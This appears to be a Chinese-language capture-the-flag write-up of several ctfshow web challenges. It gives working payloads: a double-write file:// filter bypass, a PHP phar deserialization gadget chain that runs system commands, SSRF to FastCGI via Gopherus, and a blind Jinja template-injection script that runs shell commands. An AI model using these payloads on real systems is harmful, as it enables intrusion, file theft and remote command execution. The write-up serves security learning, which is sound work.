有点像rce远程执行,有四个按钮,分别对应四份php文件,开始搞一下。
一开始,先要试探出 文件上传到哪里? 怎么读取上传的文件?
直接用burp抓包,就可以知道文件存储位置。
文件存储在: upload/XXXX
或者说如何利用
直接抄别人的流程
/etc/passwd 没有回显
file:///etc/passwd 没有回显
php://filter/convert.BaSe64-eNcoDe/resource=/etc/passwd 被waf
fifilele:///etc/passwd 没有回显
fifile://le:///etc/passwd 回显成功,这里看来是双写绕过
查看文件:通过双写绕过
playload:fifile://le://XXX(xxx路径:/var/run/xxx.php)
应该是要我们查看什么文件
五份文件:index.php、upload.php、readfile.php、unlink.php、class.php
fifile://le:///var/www/html/readfile.php
<?php
error_reporting(0);
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-19 20:09:22
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 21:31:48
# @email: [email protected]
# @link: https://ctfer.com
*/
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);
}
if(isset($_GET['url'])){
$url = $_GET['url'];
$bad = 'file://';
if(preg_match('/dict|127|localhost|sftp|Gopherus|http|\.\.\/|flag|[0-9]/is', $url,$match))
{
die('难道我不知道你在想什么?除非绕过我?!');
}else{
$url=str_replace($bad,"",$url);
curl($url);
}
}
?>
会过滤这些字符
'/dict|127|localhost|sftp|Gopherus|http|\.\.\/|flag|[0-9]/is'
在这里,readfile函数过滤不严谨,我们可以通过phar进行反序列化攻击。
<?php
error_reporting(0);
class A {
public $a;
public function __construct($a)
{
$this->a = $a;
}
// public function __destruct()
// {
// echo "THI IS CTFSHOW".$this->a;
// }
}
class B {
public $b;
public function __construct($b)
{
$this->b = $b;
}
public function __toString()
{
return ($this->b)();
}
}
class C{
public $c;
public function __construct($c)
{
$this->c = $c;
}
public function __invoke()
{
return eval($this->c);
}
}
$a=new A('');
$b=new B('');
$c=new C('');
$c->c='system("ls /");';
$b->b=$c;
$a->a=$b;
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a".""); //设置stub,增加gif文件头
$phar->setMetadata($a); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
在本机执行上面的php文件,然后修改为 phar.gif,绕过上传检验
开始playload,burp抓包,输入执行指令,就可以看到根目录的文件。
compress.zlib://phar:///var/www/html/upload/phar.gif
将 ls / 修改成 cat /ctfshow_1024_flag.txt
这里有一个坑:之前上传的是phar.gif,后面上传的文件就不能是同名了,需要修改文件名,不然,只能显示原始页面。
小结
info 基本流程
- 需要确定怎么绕过首页的URL,查看到系统文件,制定playload;
- 判断上传文件后的位置在哪里
- 需要用什么攻击手段——存在读取函数,可以用反序列化攻击
攻击原理
- 序列化一个恶意内容的文件,并上传到系统服务器;
- 通过readfile函数,反序列化不安全文件,实现攻击
参考文献
进入页面,可以看到这个代码
error_reporting(0);
highlight_file(__FILE__); //用 PHP 的内置函数 highlight_file 来显示当前文件的源代码
call_user_func($_GET['f']); //用 PHP 的内置函数 call_user_func 来调用一个用户定义的回调函数
这段代码就是在告诉我们,可以通过调用回调函数,进行访问。
playload:url?f=XXX函数
想不到其他函数,先试下phpinfo,看到了支持ctfshow_1024
直接访问下这个函数,就可以看到flag
点击列表后,先抓个包,会发现一个链接
这个参数加密的方式有点像Base64加密,先解析下密,发现这里直接显示链接,里面包含有图片路径
奇思妙想:是否有一些图片绕过指令,有关于文件读取的ssrf,那不就是文件包含读取!!!
直接构建playload,作用是读取下passwd文件,记得要base64编码下
file://etc/passwd # 编码前
ZmlsZTovL2V0Yy9wYXNzd2Q= //编码后
直接放包,查看效果,发现成功了,说明思路没问题的,直接开搞!!!
关键点2: 有一个nginx配置设置,说明这个使用nginx搭建的,直接联想到nginx的配置文件/etc/nginx/nginx.conf
查看nignx的配置文件
file://etc/nginx/nginx.conf // playload
ZmlsZTovL2V0Yy9uZ2lueC9uZ2lueC5jb25m // 编码后
burp放包,查看有什么信息可以查看,在这里提示,我们有一个自定义的配置文件,并不是走默认的nginx配置文件。
/etc/ngiinx/conf.d/*.conf
file://etc/nginx/conf.d/default.conf //编码前
验收下成功
其中的关键信息关键信息,说明开放了接口 9000,可以利用ssrf攻击
root /var/www/bushihtml;
index index.php index.html;
fastcgi_pass 127.0.0.1:9000;
Gopher:https://github.com/tarunkant/Gopherus
输入读取的路径: /var/www/bushihtml/index.html
执行指令: ls /
base64编码下
放包操作,查看结果
好像少了什么东西,看看题目有没有提示,添加上去即可
需要用post请求,加多一个参数key,可以输出自己想要的结果,这不就是SSIT结构注入攻击吗,开搞
key={%if []!=1%}wdnmd{%endif%}
构建playload
"""
Author:Lucky_bacon
Tool:Pycham、python3
"""
import requests
import string
if __name__ == '__main__':
abt = string.ascii_lowercase + string.digits + '-_{}'
url = 'http://e32219a2-efc5-4fa1-b4ee-5791e7fdb27b.challenge.ctf.show/'
cmd = 'ls /'
ans = ''
for i in range(0, 80):
for le in abt:
payload = '{%if []["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]("' + cmd + '")["read"]()[' + str(
i) + ']=="' + le + '"%}yoyo{%endif%}'
data = {'key': payload}
r = requests.post(url, data)
if 'yoyo' in r.text:
ans += le
print('ans = ' + ans)
break